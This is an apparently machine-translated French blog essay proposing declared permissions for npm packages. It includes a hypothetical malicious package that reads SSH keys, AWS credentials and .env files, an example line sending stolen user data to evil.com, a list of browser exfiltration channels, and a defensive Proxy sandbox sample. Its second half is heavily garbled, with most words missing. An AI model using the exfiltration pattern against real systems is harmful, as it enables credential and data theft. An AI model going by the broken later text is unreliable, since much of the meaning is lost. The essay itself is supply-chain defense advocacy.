Avoir une idée: système d'autorisation pour les packages npm

Il y a quelques jours, j'ai d'abord lancé la calculatrice sur un nouveau téléphone et j'ai vu ce message: "La calculatrice aimerait accéder à vos contacts."


Au début, ce message me semblait un peu triste (il semblait que la calculatrice était seule), mais ce cas m'a fait réfléchir ...

Et si, comme les applications téléphoniques, les packages npm devaient déclarer les autorisations nécessaires à leur travail? Avec cette approche, le fichier de package package.json pourrait ressembler à ceci:

 { "name": "fancy-logger", "version": "0.1.0", "permissions": {   "browser": ["network"],   "node": ["http", "fs"] }, "etcetera": "etcetera" } 

Sur npmjs.com, une section de la page du package contenant des informations sur les autorisations dont il a besoin pourrait ressembler à ceci.


Une telle section d'autorisation peut être disponible pour les packages sur le site de registre npm.
Ces listes d'autorisations pour un package peuvent être une combinaison des autorisations de toutes ses dépendances avec ses propres autorisations.

Un coup d'œil au contenu de la section des permissions du package fancy-logger peut amener le développeur à se demander pourquoi le package qui écrit quelque chose sur la console doit accéder au module http et que cela semble quelque peu suspect.

Quel serait le monde dans lequel un système d'autorisation similaire pour les packages npm serait utilisé? Peut-être que quelqu'un ne verra pas l'intérêt de cela, car il se sent complètement en sécurité, par exemple, en utilisant uniquement des packages fiables d'éditeurs éprouvés. Pour que tous ceux qui lisent ceci se sentent vulnérables, voici une courte histoire.

L'histoire de la façon dont je vole vos variables d'environnement


Je voulais créer un package npm appelé space-invaders . C'était intéressant d'apprendre à créer des jeux en écrivant un jeu qui fonctionne dans la console, et en même temps de justifier mon point de vue sur les vulnérabilités liées aux packages npm.

Vous pouvez exécuter ce jeu avec cette commande: npx space-invaders . Après son lancement, on pouvait immédiatement commencer à tirer sur les extraterrestres et tuer le temps.

Vous aimeriez ce jeu, vous le partageriez avec des amis, ils aimeraient aussi.

Tout cela semble très positif, mais, vous divertissant, les space-invaders jeu feront leur propre space-invaders , à savoir la collecte de certaines données. Il collectera des informations à partir de ~/.ssh/ , ~/.aws/credentials , de ~/.bash_profile et d'autres endroits similaires, lira le contenu de tous les fichiers .env qu'il peut atteindre, y compris process.env , regardez à la configuration git (afin de savoir à qui il recueille les informations), puis elle envoie tout cela à mon serveur.

Je n'ai pas écrit un tel jeu, mais depuis un certain temps je me sens mal à l'aise, et quand npm install commande npm install , je pense à la vulnérabilité de mon système. Maintenant, en regardant l'indicateur de progression de l'installation, je pense au nombre de dossiers et de fichiers standard sur mon ordinateur portable dont le contenu ne doit pas tomber entre de mauvaises mains.

Et ce n'est pas seulement mon espace de travail. Par exemple, je ne sais même pas s'il existe des données dans certaines variables d'environnement de mon système d'assemblage de site pour la connexion à la base de données du serveur de production. S'il y a quelque part de telles données, alors vous pouvez imaginer une situation dans laquelle un paquet npm malveillant installe un script dans le système conçu pour se connecter à ma base de données de travail. Ensuite, ce script exécute la commande SELECT * from users , puis http.get('http://evil.com/that-data') . Peut-être était-ce précisément en raison de la possibilité de telles attaques que j'ai rencontré des conseils selon lesquels les mots de passe ne devraient pas être stockés dans des bases de données en texte brut?

Tout cela semble assez effrayant, et cela se produit probablement déjà (bien qu'il soit impossible de dire exactement si cela se produit ou non).

Avec cela, peut-être, nous cesserons de parler des conséquences du vol de données importantes. Revenons au sujet des autorisations pour les packages npm.

Modifications des autorisations de verrouillage


Je suppose que ce serait génial de pouvoir voir les autorisations nécessaires au package lors de la visualisation du site npm. Mais il convient de noter que la possibilité de voir les autorisations n'est bonne que lorsqu'elle est appliquée à un moment précis, en fait, cela ne résout pas le vrai problème.

Lors d'un incident récent dans npm, quelqu'un a d'abord publié une version de correctif d'un package contenant du code malveillant, puis a publié une version mineure dont le code malveillant avait déjà été supprimé. Le temps entre ces deux événements a été suffisant pour mettre en danger de nombreux utilisateurs du colis dangereux.

Voilà le problème. Pas des packages créés par des logiciels malveillants et qui le restent tout le temps. Le problème est que, dans un package apparemment fiable, vous pouvez tranquillement ajouter quelque chose de mauvais et après un certain temps l'enlever.

En conséquence, nous pouvons dire que nous avons besoin d'un mécanisme pour bloquer l'ensemble des autorisations reçues par les packages.

Ce sera peut-être quelque chose comme un fichier package-permissions.json qui définit les autorisations pour Node.js et pour le navigateur et contient une liste de packages qui ont besoin de ces autorisations. Avec cette approche, il serait nécessaire de répertorier tous les packages dans un tel fichier, et pas seulement ceux qui se trouvent dans la section des dependencies du fichier package.json du projet.

Voici à quoi pourrait ressembler le fichier package-permissions.json .

 { "node": {   "http": [     "express",     "stream-http"   ],   "fs": [     "fs-extra",     "webpack",     "node-sass"   ] }, "browser": {   "network": [     "whatwg-fetch",     "new-relic"   ] } } 

Une version réelle d'un tel fichier pourrait contenir beaucoup plus d'entrées de package.

Imaginez maintenant qu'un jour vous mettiez à jour un package avec deux cents dépendances qui seront également mises à jour. Une version de correctif a été publiée pour l'une de ces dépendances, qui nécessitait soudainement un accès au http Node.js.

Si cela se produit, la commande npm install échouera avec un message semblable au suivant: «Le package add-two-number requis par le package fancy-logger demandé l'accès au http Node.js. Exécutez la commande npm update-permissions add-two-numbers pour résoudre ce problème, puis réexécutez la commande npm install . »

Ici, fancy-logger est le package qui se trouve dans votre fichier package.json (en supposant que vous êtes familier avec ce package), et le package add-two-numbers est une dépendance de fancy-logger dont vous n'avez jamais entendu parler.

Bien sûr, même s'il existe un fichier dans le système pour «bloquer» les dépendances, certains développeurs confirmeront les nouvelles autorisations sans penser à rien. Mais, au minimum, un changement dans package-permissions.json sera visible dans la demande de tirage, c'est-à-dire qu'il y aura une chance qu'un autre développeur plus responsable y prête attention.

En outre, les modifications des autorisations demandées nécessiteraient que le registre npm lui-même avertisse les auteurs de packages lorsqu'une situation change quelque part dans l'arborescence de dépendances de leurs packages. Peut-être - cela se fera par e-mail avec le contenu suivant:

"Bonjour, auteur de fancy-logger . Nous vous informons que add-two-number , le package dont vous utilisez les capacités, a demandé l'autorisation de travailler avec le module http . Vos autorisations de package, comme indiqué sur npmjs.com/package/fancy-logger , ont été mises à jour en conséquence. »

Bien sûr, cela ajoutera au travail des auteurs des packages et de npm lui-même, mais ces choses mériteront d'y passer un peu de temps. Dans ce cas, l'auteur de l' add-two-numbers peut être absolument sûr que s'il demande l'autorisation de travailler avec le module http , cela entraînera le déclenchement de nombreuses "alarmes" dans le monde.

Voilà ce dont nous avons besoin. Hein? J'aimerais espérer que, comme dans le cas des applications téléphoniques, et même dans le cas des extensions pour Chrome, les packages qui nécessitent moins d'autorisations seront plus populaires auprès des utilisateurs que ceux qui ont besoin d'un niveau d'accès inexplicablement élevé aux systèmes. Ceci, à son tour, fera très bien réfléchir les auteurs de packages lors du choix des autorisations requises pour leur développement.

Supposons que npm décide d'introduire un système d'autorisation. Le premier jour du lancement d'un tel système, tous les packages seront considérés comme nécessitant des autorisations complètes (une telle décision sera prise plus tard - dans les cas où la section des permissions est manquante dans package.json ).

L'auteur du package, qui souhaite affirmer que son package ne nécessite pas d'autorisations spéciales, sera intéressé par l'ajout de la section des permissions dans package.json tant qu'objet vide. Et, si les auteurs des packages sont suffisamment intéressés pour que les autorisations de dépendance ne «surchargent» pas leurs packages, ils essaieront de s'assurer que ces packages de dépendance ne nécessitent pas non plus d'autorisations spéciales, par exemple, en effectuant des requêtes d'extraction appropriées dans le référentiel de dépendances.

De plus, chaque auteur du package s'efforcera de réduire le risque de vulnérabilité de son package lors de la rupture de l'une de ses dépendances. Par conséquent, si les auteurs des packages utilisent des dépendances qui nécessitent des autorisations qui, semble-t-il, ne sont pas nécessaires, ils seront incités à passer à l'utilisation d'autres packages.

Et dans le cas des développeurs qui utilisent des packages npm lors de la création d'applications, cela les obligera à porter une attention particulière aux packages utilisés dans leurs projets, en choisissant principalement ceux qui ne nécessitent pas d'autorisations spéciales. Dans le même temps, bien sûr, certains packages, pour des raisons objectives, nécessiteront des autorisations qui peuvent causer des problèmes, mais ces packages sont susceptibles d'être sous le contrôle spécial des développeurs.

Peut-être que quelque chose comme Greenkeeper peut aider d'une manière ou d'une autre à résoudre tous ces problèmes.

Enfin, le fichier package-permissions.json fournira un résumé facile à comprendre pour un professionnel de la sécurité qui évalue les «trous» potentiels dans une application et vous permet de poser des questions spécifiques sur les packages controversés et leurs autorisations.

En conséquence, j'espère que cette simple propriété d' permissions pourra se répandre assez largement parmi environ 800 000 packages npm et rendre npm plus sûr.

Bien sûr, cela n'empêchera pas d'éventuelles attaques. Tout comme les autorisations demandées par les applications mobiles ne rendent pas impossible la création d'applications mobiles malveillantes distribuées sur les sites officiels. Mais cela réduira la «surface d'attaque» aux packages qui demandent explicitement la permission d'effectuer certaines actions qui pourraient constituer une menace pour les systèmes informatiques. De plus, il sera intéressant de savoir quel pourcentage de packages ne nécessite aucune autorisation spéciale.

Voici à quoi ressemble le mécanisme de travail avec les autorisations pour les packages npm. Si cette idée devient réalité, nous pouvons soit compter sur le fait que les attaquants décriront honnêtement leurs packages en déclarant des autorisations, soit combiner le système de déclaration d'autorisations avec le mécanisme de restriction forcée des capacités des packages en fonction des autorisations demandées par eux. C'est une question intéressante. Voyons cela comme appliqué à Node.js et aux navigateurs.

Forcer les restrictions de package en fonction des autorisations demandées par eux dans Node.js


Ici, je vois deux options possibles pour appliquer de telles restrictions.

▍ Option 1: package npm spécial forçant des mesures de sécurité


Imaginez un package créé et maintenu par npm (ou une autre organisation faisant également autorité et visionnaire). Laissez ce paquet s'appeler @npm/permissions .

Un tel package serait soit inclus dans le code d'application avec la première commande d'importation, soit les applications seraient lancées avec une commande de la forme node -r @npm/permissions index.js .

Un package remplacerait les autres commandes d'importation afin de ne pas violer les autorisations indiquées dans la section permissions des fichiers package.json des autres packages. Si l'auteur d'un certain package lovely-logger n'a pas déclaré la nécessité de ce package dans le module http Node.js, cela signifie qu'un tel package n'est pas accessible par ce module.

À strictement parler, le blocage de modules Node.js entiers de cette façon n'est pas idéal. Par exemple, le package de methods npm charge le module http Node.js, mais n'envoie aucune donnée à l'aide de celui-ci. Il prend simplement l'objet http.METHODS , convertit son nom en http.METHODS et l'exporte en tant que package npm classique. Maintenant, un tel package ressemble à une excellente cible pour un attaquant - il a 6 millions de téléchargements par semaine, alors qu'il n'a pas changé depuis 3 ans. Je pourrais écrire aux auteurs de ce paquet et les inviter à me donner son référentiel.

Compte tenu du package de methods , il serait préférable de considérer qu'il ne nécessite pas d'autorisation network , et pas d'autorisation qui donne accès au module http . Ensuite, cette restriction peut être corrigée à l'aide d'un mécanisme externe et neutraliser toute tentative de ce package d'envoyer certaines données à partir des systèmes dans lesquels il fonctionne.

Le package imaginaire @npm/permissions pourrait également restreindre l'accès d'un package à tout autre package qui n'était pas répertorié comme ses dépendances. Cela empêchera le package, par exemple, d'importer quelque chose comme fs-extra et request , et utilisera les capacités de ces packages pour lire les données du système de fichiers et envoyer des données lues à un attaquant.

De même, il peut être utile de faire la distinction entre l'accès au disque «interne» et «externe». Je suis très heureux que le node-sass besoin d'accéder aux matériaux situés dans le répertoire de mon projet, mais je ne vois aucune raison pour que ce package ait besoin d'accéder à quoi que ce soit en dehors de ce répertoire.

Peut-être qu'au tout début de l'introduction du système d'autorisation, le package @npm/permissions devra être ajouté aux projets manuellement. Peut-être, pendant la période de transition, pendant l'élimination des dysfonctionnements inévitables, c'est la seule approche raisonnable pour utiliser un tel mécanisme. Mais pour assurer une réelle sécurité, il est nécessaire que ce package soit étroitement intégré au système, car il sera nécessaire de prendre en compte les autorisations lors de l'exécution des scripts d'installation du package.

Ensuite, très probablement, il s'avère qu'une simple commande de la forme "enforcePermissions": true dans le fichier package.json du projet dira à npm d'exécuter tous les scripts avec l'utilisation forcée des autorisations déclarées par eux.

▍ Option 2: Node.js en mode sans échec


Le mode de fonctionnement spécial de Node.js, axé sur un niveau de sécurité accru, nécessitera évidemment des modifications plus sérieuses. Mais peut-être qu'à long terme, la plateforme Node.js elle-même pourra appliquer les restrictions définies par les autorisations déclarées par chaque package.

D'une part, je sais que ceux qui développent la plateforme Node.js s'efforcent de résoudre les problèmes de cette plateforme, et mes idées sur la sécurité des packages npm dépassent le cadre de leurs intérêts. Après tout, au final, npm n'est que la technologie qui accompagne Node.js. D'un autre côté, les développeurs de Node.js souhaitent que les utilisateurs en entreprise se sentent en confiance en travaillant avec cette plate-forme, et la sécurité, probablement, est l'un de ces aspects de Node.js qui ne devrait pas être laissé à la «communauté».

Donc, pour l'instant, tout ce dont nous avons parlé semblait assez simple et se résumait à garantir que le système d'une manière ou d'une autre surveillerait les capacités utilisées par les modules pendant le fonctionnement de Node.js.

Parlons maintenant des navigateurs. Tout ici n'a pas l'air si clair et compréhensible du tout.

Restriction forcée des capacités des packages conformément aux autorisations demandées dans les navigateurs


À première vue, la restriction forcée des capacités des packages dans les navigateurs semble encore plus facile, car le code qui s'exécute dans le navigateur ne peut pas faire grand-chose par rapport au système d'exploitation sur lequel le navigateur est basé. En fait, dans le cas des navigateurs, vous n'avez qu'à vous soucier de la capacité des paquets à transférer des données vers des adresses inhabituelles.

Le problème ici est qu'il existe d'innombrables façons d'envoyer des données du navigateur de l'utilisateur au serveur de l'attaquant.

C'est ce qu'on appelle une exfiltration ou une fuite de données, et si vous demandez à un professionnel de la sécurité comment éviter cela, lui, avec l'apparence de la personne qui a inventé la poudre à canon, vous dira d'arrêter d'utiliser npm.

Je crois que pour les packages fonctionnant dans les navigateurs, vous devez faire attention à une seule résolution - celle qui est responsable de la capacité de travailler avec le réseau. Appelons cela un network . Il peut y avoir d'autres autorisations dans cet environnement (telles que celles qui régulent l'accès au DOM ou au stockage local), mais ici je pars de l'hypothèse que notre principale préoccupation est la possibilité de fuite de données.

Les données du navigateur peuvent être «supprimées» de plusieurs façons. Voici ceux dont je me souvenais en 60 secondes:

  • fetch API.
  • Sockets Web
  • Technologie WebRTC.
  • Constructeur d' EventSource .
  • API XMLHttpRequest
  • Définition de la propriété innerHTML de divers éléments (vous pouvez créer de nouveaux éléments).
  • Création d'un objet image avec la new Image() commande new Image() (la propriété src d'une image peut servir de moyen d'exfiltration de données).
  • Définition de document.location , window.location , etc.
  • Modification des propriétés src d'une image existante, iframe ou quelque chose comme ça.
  • Modifications de la propriété target de l'élément <form> .
  • Utiliser une chaîne intelligemment conçue pour accéder à l'un des mécanismes ci-dessus ou pour accéder à quelque chose en top ou en self au lieu de windows .

Il convient de noter qu'une bonne politique de sécurité du contenu (CSP) est capable de neutraliser certaines de ces menaces, mais cela ne s'applique pas à toutes. Si quelqu'un peut me corriger, je serai heureux, mais je crois que vous ne pouvez jamais compter sur le fait que CSP vous protégera complètement contre les fuites de données. Une personne m'a dit un jour que le CSP offre une protection presque complète contre un grand nombre de menaces. À cela, j'ai répondu que vous ne pouvez pas être un peu enceinte, et depuis lors, nous n'avons pas communiqué avec cette personne.

Si vous abordez judicieusement la recherche de moyens de voler des données du navigateur, je suis sûr qu'il est assez réaliste de dresser une liste assez complète de ces méthodes.

Maintenant, nous devons trouver un mécanisme pour refuser l'accès à l'utilisation des opportunités à partir d'une liste similaire.

Webpack (, @npm/permissions-webpack-plugin ), :

  • browser package-permissions.json , npm- ( - , ).
  • , , , API, .

(, Parcel, Rollup, Browserify ).

, , -. , , , , , .

, ( Lodash, Moment, ), . .

.

 //   (),   ,    function bigFrameworkWrapper(newWindow) { /*  --     -- */ const window = newWindow; const document = window.document; //      /*  --    -- */ const module = {   doSomething() {     const newDiv = document.createElement('div'); //      const newScript = document.createElement('script'); //      const firstDiv = document.querySelector('div'); //    }, }; return module; } //   ( ),   ,    function smallUtilWrapper(newWindow) { /*  --     -- */ const window = newWindow; const document = window.document; //      /*  --    -- */ const module = {   doSomething() {     const newDiv = document.createElement('div'); //      const newScript = document.createElement('script'); //  !     const firstDiv = document.querySelector('div'); //    }, }; return module; } const restrictedWindow = new Proxy(window, { get(target, prop, receiver) {   if (prop === 'document') {     return new Proxy(target.document, {       get(target, prop, receiver) {         if (prop === 'createElement') {           return new Proxy(window.document.createElement, {             apply(target, thisArg, argumentsList) {               if (['script', 'img', 'audio', 'and-so-on'].includes(argumentsList[0])) {                 console.error('A module without permissions attempted to create a naughty element');                 return false;               }               return target.apply(window.document, argumentsList);             },           });         }         const result = Reflect.get(target, prop, receiver);         if (typeof result === 'function') return result.bind(target);         return result;       },     });   }   return Reflect.get(target, prop, receiver); }, }); const bigFramework = bigFrameworkWrapper(window); bigFramework.doSomething(); //   const smallUtil = smallUtilWrapper(restrictedWindow); smallUtil.doSomething(); // ! "A module without permissions attempted to create a naughty element" 

function bigFrameworkWrapper(newWindow) { function smallUtilWrapper(newWindow) { — , . «» .

const newScript = document.createElement('script'); // ! , — script .

const bigFramework = bigFrameworkWrapper(window); const smallUtil = smallUtilWrapper(restrictedWindow); «» . , , .

const restrictedWindow = new Proxy(window, { window , , window , , window.document.createElement DOM .

Proxy .

. , .

, , API, . , , , , , , , , , , «» .

, , , - .

, , , , Proxy . , 90% , . , , . , - , , , .

, , , , , Node.js .


, , HTTP , , , -. C'est compréhensible.

-, , , . iframe , . sandbox , , . , , , -.

, , sandbox <script> . : <script src="/some-package.js" sandbox="allow-exfiltration allow-whatevs"><script> . , , , - create-react-app , 1.4 , .

, npm , .

, - .

, , - « ...», , , ?

Résumé


, , , , . , 90% , , , 10% — , .

, , - .

Chers lecteurs! , , npm, -?

Source: https://habr.com/ru/post/fr433010/


All Articles